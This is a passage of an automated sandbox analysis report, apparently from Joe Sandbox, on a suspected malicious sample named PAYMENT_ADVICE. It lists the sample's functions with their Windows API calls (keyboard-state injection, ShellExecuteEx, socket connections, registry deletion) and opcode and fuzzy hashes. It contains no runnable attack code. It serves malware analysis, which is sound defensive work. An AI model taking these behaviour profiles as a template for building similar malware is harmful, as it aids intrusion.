                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
                                                              • String ID:
                                                              • API String ID: 3619996494-0
                                                              • Opcode ID: 97993f19fdddc67b684e48d169066b9adfd754e88b7176784602b956486cad10
                                                              • Instruction ID: 48926cfb1bae8bc0d1c15cc650fbc91a6955937b89ec5af6abf78233caf91d04
                                                              • Opcode Fuzzy Hash: 97993f19fdddc67b684e48d169066b9adfd754e88b7176784602b956486cad10
                                                              • Instruction Fuzzy Hash: A7819D71604200ABC712EB24CC86FABB7E9AF84718F144A1DFA559F293DB74AD05CB91
                                                              Function 00341424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 5c7c62057d4f1fb004d4c4afa8cd903f41f9375637c2f9f1c9d37f83d4e3b665
                                                              • Instruction ID: 06d4ae3ce82088368f10aefacf55c1b70daef003674bf6f8229b592c3b486884
                                                              • Opcode Fuzzy Hash: 5c7c62057d4f1fb004d4c4afa8cd903f41f9375637c2f9f1c9d37f83d4e3b665
                                                              • Instruction Fuzzy Hash: F7717A30900509EFCB16CF99CC89EBEBBB9FF85314F158159F915AA251C734AA91CBA0
                                                              Function 003CB351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsWindow.USER32(00FC66A8), ref: 003CB3EB
                                                              • IsWindowEnabled.USER32(00FC66A8), ref: 003CB3F7
                                                              • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 003CB4DB
                                                              • SendMessageW.USER32(00FC66A8,000000B0,?,?), ref: 003CB512
                                                              • IsDlgButtonChecked.USER32(?,?), ref: 003CB54F
                                                              • GetWindowLongW.USER32(00FC66A8,000000EC), ref: 003CB571
                                                              • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 003CB589
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                              • String ID:
                                                              • API String ID: 4072528602-0
                                                              • Opcode ID: 328b04e1f18b541abf65acf2ff8d4fb301943fe7c9c8b78566aaf2fe0614a597
                                                              • Instruction ID: 255aea1f59b2bc5fc4c4abd1273194c1f5c8485ce050c62797a5ab2c0e11fccf
                                                              • Opcode Fuzzy Hash: 328b04e1f18b541abf65acf2ff8d4fb301943fe7c9c8b78566aaf2fe0614a597
                                                              • Instruction Fuzzy Hash: 1171A034608644EFDB269F65C896FBAFBB9EF09300F15406DE945D72A2CB31AC50DB50
                                                              Function 003BF41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003BF448
                                                              • _memset.LIBCMT ref: 003BF511
                                                              • ShellExecuteExW.SHELL32(?), ref: 003BF556
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                                • Part of subcall function 0035FC86: _wcscpy.LIBCMT ref: 0035FCA9
                                                              • GetProcessId.KERNEL32(00000000), ref: 003BF5CD
                                                              • CloseHandle.KERNEL32(00000000), ref: 003BF5FC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                                              • String ID: @
                                                              • API String ID: 3522835683-2766056989
                                                              • Opcode ID: 2c01c6eb2236e7311dcbf3c31a67017a84e52d01a8eb8727ae93cf60f7e94394
                                                              • Instruction ID: eabca6fe3aa22660c87c79f4a4fb657c08863e4e819a9d31426f7a288a77ea7b
                                                              • Opcode Fuzzy Hash: 2c01c6eb2236e7311dcbf3c31a67017a84e52d01a8eb8727ae93cf60f7e94394
                                                              • Instruction Fuzzy Hash: EB61BD75A006189FCB16DF68C881AAEBBF5FF49314F11806AE819AF751CB30AD41CB80
                                                              Function 003A0F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetParent.USER32(?), ref: 003A0F8C
                                                              • GetKeyboardState.USER32(?), ref: 003A0FA1
                                                              • SetKeyboardState.USER32(?), ref: 003A1002
                                                              • PostMessageW.USER32(?,00000101,00000010,?), ref: 003A1030
                                                              • PostMessageW.USER32(?,00000101,00000011,?), ref: 003A104F
                                                              • PostMessageW.USER32(?,00000101,00000012,?), ref: 003A1095
                                                              • PostMessageW.USER32(?,00000101,0000005B,?), ref: 003A10B8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessagePost$KeyboardState$Parent
                                                              • String ID:
                                                              • API String ID: 87235514-0
                                                              • Opcode ID: cf854c31ca6a169bf82c9ee500e14fefd5c0b2bc09a85bf95e5cc8ecc456da37
                                                              • Instruction ID: 64550a555d20f47cce4f2cc7bb4dbc6e32855bd6c5ffe0b1bd6801de037ffa8f
                                                              • Opcode Fuzzy Hash: cf854c31ca6a169bf82c9ee500e14fefd5c0b2bc09a85bf95e5cc8ecc456da37
                                                              • Instruction Fuzzy Hash: 6A51E3A05047D53DFB3782348C19BBABFA99B07304F098589E1D59A8D3C2D9ECD8D751
                                                              Function 003A0D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetParent.USER32(00000000), ref: 003A0DA5
                                                              • GetKeyboardState.USER32(?), ref: 003A0DBA
                                                              • SetKeyboardState.USER32(?), ref: 003A0E1B
                                                              • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 003A0E47
                                                              • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 003A0E64
                                                              • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 003A0EA8
                                                              • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 003A0EC9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessagePost$KeyboardState$Parent
                                                              • String ID:
                                                              • API String ID: 87235514-0
                                                              • Opcode ID: 5f7c454ccb05221c6f57e7b836471d9b8ff98b61f65c13fe014e7ed6c0874ac8
                                                              • Instruction ID: 18ab18860e1ea6baef845cf6cb642b09e5e3c0df9aa2051149fb0e602cd71837
                                                              • Opcode Fuzzy Hash: 5f7c454ccb05221c6f57e7b836471d9b8ff98b61f65c13fe014e7ed6c0874ac8
                                                              • Instruction Fuzzy Hash: EB51E4A1544BD53DFB3B87748C55F7ABEA9DB07300F088889E1D49A8C2D395EC98E750
                                                              Function 003A55FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _wcsncpy$LocalTime
                                                              • String ID:
                                                              • API String ID: 2945705084-0
                                                              • Opcode ID: 92c5e092d48397e7f98f5afac69c0d36716b531c98fe12720ccc2dd58b98494d
                                                              • Instruction ID: 38bec1c6b5d8ab4f0620b28d571002c2d164baed600709c427645d3353319f57
                                                              • Opcode Fuzzy Hash: 92c5e092d48397e7f98f5afac69c0d36716b531c98fe12720ccc2dd58b98494d
                                                              • Instruction Fuzzy Hash: 1941A265C1061876CB13EBF48C869CFB3B8DF06310F50C966E609E7265EB35A245C7AA
                                                              Function 0039D56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0039D5D4
                                                              • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0039D60A
                                                              • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0039D61B
                                                              • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0039D69D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$AddressCreateInstanceProc
                                                              • String ID: ,,=$DllGetClassObject
                                                              • API String ID: 753597075-4126740902
                                                              • Opcode ID: 6658a01decbb5eade28b4d0ce0fc86a2ef74728db69a83d48c2064a1b33ba15f
                                                              • Instruction ID: 9a6761c2772a3f77d1fa871767dc8a4d407a988db77effac4057804441390d0a
                                                              • Opcode Fuzzy Hash: 6658a01decbb5eade28b4d0ce0fc86a2ef74728db69a83d48c2064a1b33ba15f
                                                              • Instruction Fuzzy Hash: 394160B2600204EFDF16DF64C885A9ABBB9EF54310F5681A9ED09DF205D7B1DD44CBA0
                                                              Function 003A3671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003A466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003A3697,?), ref: 003A468B
                                                                • Part of subcall function 003A466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,003A3697,?), ref: 003A46A4
                                                              • lstrcmpiW.KERNEL32(?,?), ref: 003A36B7
                                                              • _wcscmp.LIBCMT ref: 003A36D3
                                                              • MoveFileW.KERNEL32(?,?), ref: 003A36EB
                                                              • _wcscat.LIBCMT ref: 003A3733
                                                              • SHFileOperationW.SHELL32(?), ref: 003A379F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                                              • String ID: \*.*
                                                              • API String ID: 1377345388-1173974218
                                                              • Opcode ID: 5035849113202a4da89976479bb34354592ea9c287a744217ebedb040c333631
                                                              • Instruction ID: b8797dd1c8585e70bd020582186319eeca5304427de2fcf101f0769369441f87
                                                              • Opcode Fuzzy Hash: 5035849113202a4da89976479bb34354592ea9c287a744217ebedb040c333631
                                                              • Instruction Fuzzy Hash: A4415D71508344AEC757EF64C4819DFB7ECEF8A380F44092EB49AC7261EA35D689C752
                                                              Function 003C7291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003C72AA
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003C7351
                                                              • IsMenu.USER32(?), ref: 003C7369
                                                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 003C73B1
                                                              • DrawMenuBar.USER32 ref: 003C73C4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$DrawInfoInsert_memset
                                                              • String ID: 0
                                                              • API String ID: 3866635326-4108050209
                                                              • Opcode ID: c724f626829a3f4cad20ad4132c9fb20299250292259e07e24bc0595a65c03f3
                                                              • Instruction ID: f02686e6f52cddc0714018bf2c67bc20c09d5d97696330e9ade4d216e1c3161b
                                                              • Opcode Fuzzy Hash: c724f626829a3f4cad20ad4132c9fb20299250292259e07e24bc0595a65c03f3
                                                              • Instruction Fuzzy Hash: E0412579A04248AFDB21DF50D884E9ABBF9FB09350F258529FD15EB290D730AD50DF90
                                                              Function 003C0FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 003C0FD4
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003C0FFE
                                                              • FreeLibrary.KERNEL32(00000000), ref: 003C10B5
                                                                • Part of subcall function 003C0FA5: RegCloseKey.ADVAPI32(?), ref: 003C101B
                                                                • Part of subcall function 003C0FA5: FreeLibrary.KERNEL32(?), ref: 003C106D
                                                                • Part of subcall function 003C0FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 003C1090
                                                              • RegDeleteKeyW.ADVAPI32(?,?), ref: 003C1058
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                              • String ID:
                                                              • API String ID: 395352322-0
                                                              • Opcode ID: f346392252f6f8a3a3a769714a6a962040bdadc3a3cfbb0fa7947aa8613539f8
                                                              • Instruction ID: b57682f76aab3b2169a8ce314267065265ca9a75342ad71a851385976df7f538
                                                              • Opcode Fuzzy Hash: f346392252f6f8a3a3a769714a6a962040bdadc3a3cfbb0fa7947aa8613539f8
                                                              • Instruction Fuzzy Hash: 62310C71901119BFDB16DB90DC89EFFB7BCEF09300F004169E512E2151EA75AE89ABA0
                                                              Function 003C62CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 003C62EC
                                                              • GetWindowLongW.USER32(00FC66A8,000000F0), ref: 003C631F
                                                              • GetWindowLongW.USER32(00FC66A8,000000F0), ref: 003C6354
                                                              • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 003C6386
                                                              • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 003C63B0
                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 003C63C1
                                                              • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 003C63DB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: LongWindow$MessageSend
                                                              • String ID:
                                                              • API String ID: 2178440468-0
                                                              • Opcode ID: 71c3d853eefee305252e9dc9b61cec1b54e99826b4924a48f841180b27f85164
                                                              • Instruction ID: 834a83bcbd4e6c28b0b769ca64b92cfec298d61bfe5730a54cd21a681af6ac6b
                                                              • Opcode Fuzzy Hash: 71c3d853eefee305252e9dc9b61cec1b54e99826b4924a48f841180b27f85164
                                                              • Instruction Fuzzy Hash: E6311139644290AFDB22DF18EC86F5937E5FB4A714F1A41A8F900DF2B2CB71AC509B50
                                                              Function 003B6173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003B7D8B: inet_addr.WSOCK32(00000000), ref: 003B7DB6
                                                              • socket.WSOCK32(00000002,00000001,00000006), ref: 003B61C6
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B61D5
                                                              • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 003B620E
                                                              • connect.WSOCK32(00000000,?,00000010), ref: 003B6217
                                                              • WSAGetLastError.WSOCK32 ref: 003B6221
                                                              • closesocket.WSOCK32(00000000), ref: 003B624A
                                                              • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 003B6263
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                                              • String ID:
                                                              • API String ID: 910771015-0
                                                              • Opcode ID: 0f63d15b122b2d7050993ac5ad595f68fb8c09077c5e37b64a4cd5c251e648e4
                                                              • Instruction ID: 9f00c9eac411e8bde8e6e907046b8e49f33744f897be218b2c04860e6dca2801
                                                              • Opcode Fuzzy Hash: 0f63d15b122b2d7050993ac5ad595f68fb8c09077c5e37b64a4cd5c251e648e4
                                                              • Instruction Fuzzy Hash: 1E31A431600208AFEF12AF24CC86FBE77ADEF45754F054429FA05DB692CB74AC048B61
                                                              Function 0039F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
